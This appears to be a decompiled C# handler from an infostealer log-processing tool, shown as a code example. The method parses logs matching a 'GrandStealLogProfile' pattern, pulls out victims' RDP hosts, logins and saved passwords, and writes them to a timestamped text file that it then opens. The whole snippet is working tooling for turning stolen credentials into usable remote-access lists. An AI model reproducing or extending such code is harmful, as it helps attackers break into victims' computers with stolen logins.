Example #1
0
        // Token: 0x060001CF RID: 463 RVA: 0x0000B738 File Offset: 0x00009938
        private async void saveRDPToolStripMenuItem_Click(object sender, EventArgs e)
        {
            try
            {
                if (this.totalWinStore.Text != "0")
                {
                    PredicateFactory <string, AbstractLogProfile> predicateFactory = PredicateFactory <string, AbstractLogProfile> .Create();

                    predicateFactory.Predicates.Add(new GrandStealLogProfile(), delegate(string x)
                    {
                        string[] array = new DirectoryInfo(x).Name.Split(new string[]
                        {
                            " "
                        }, StringSplitOptions.None);
                        return(array.Length == 2 && (array[0].Contains("[") && array[0].Contains("]") && array[1].Contains("[")) && array[1].Contains("]"));
                    });
                    ParalleledLogProfile engine = new ParalleledLogProfile(this.ViewModel.LogsVM.PathsToLogs.ClientsWithRDP)
                    {
                        HandlerMap = predicateFactory
                    };
                    LogProfileController          controller = new LogProfileController(engine);
                    IEnumerable <AbstractAccount> enumerable = (await Task.Factory.StartNew <IEnumerable <GrandStealLogProfile> >(() => from x in controller.Load()
                                                                                                                                  select x as GrandStealLogProfile)).SelectMany((GrandStealLogProfile x) => x.RDPS) ?? new List <AbstractAccount>();
                    string text = "RDP_" + DateTime.Now.ToString("O").Replace(':', '_') + ".txt";
                    foreach (AbstractAccount abstractAccount in enumerable)
                    {
                        if (abstractAccount.Password != "NOT SAVED")
                        {
                            File.AppendAllText(text, string.Concat(new string[]
                            {
                                abstractAccount.URL,
                                " ",
                                abstractAccount.Login,
                                " ",
                                abstractAccount.Password,
                                Environment.NewLine
                            }));
                        }
                    }
                    if (enumerable.Any <AbstractAccount>())
                    {
                        if (File.Exists(text))
                        {
                            Process.Start(text);
                        }
                        else
                        {
                            MessageBox.Show("RDPs with saved password not found");
                        }
                    }
                }
            }
            catch (Exception arg)
            {
                MessageBox.Show("Ошибка: " + arg);
            }
        }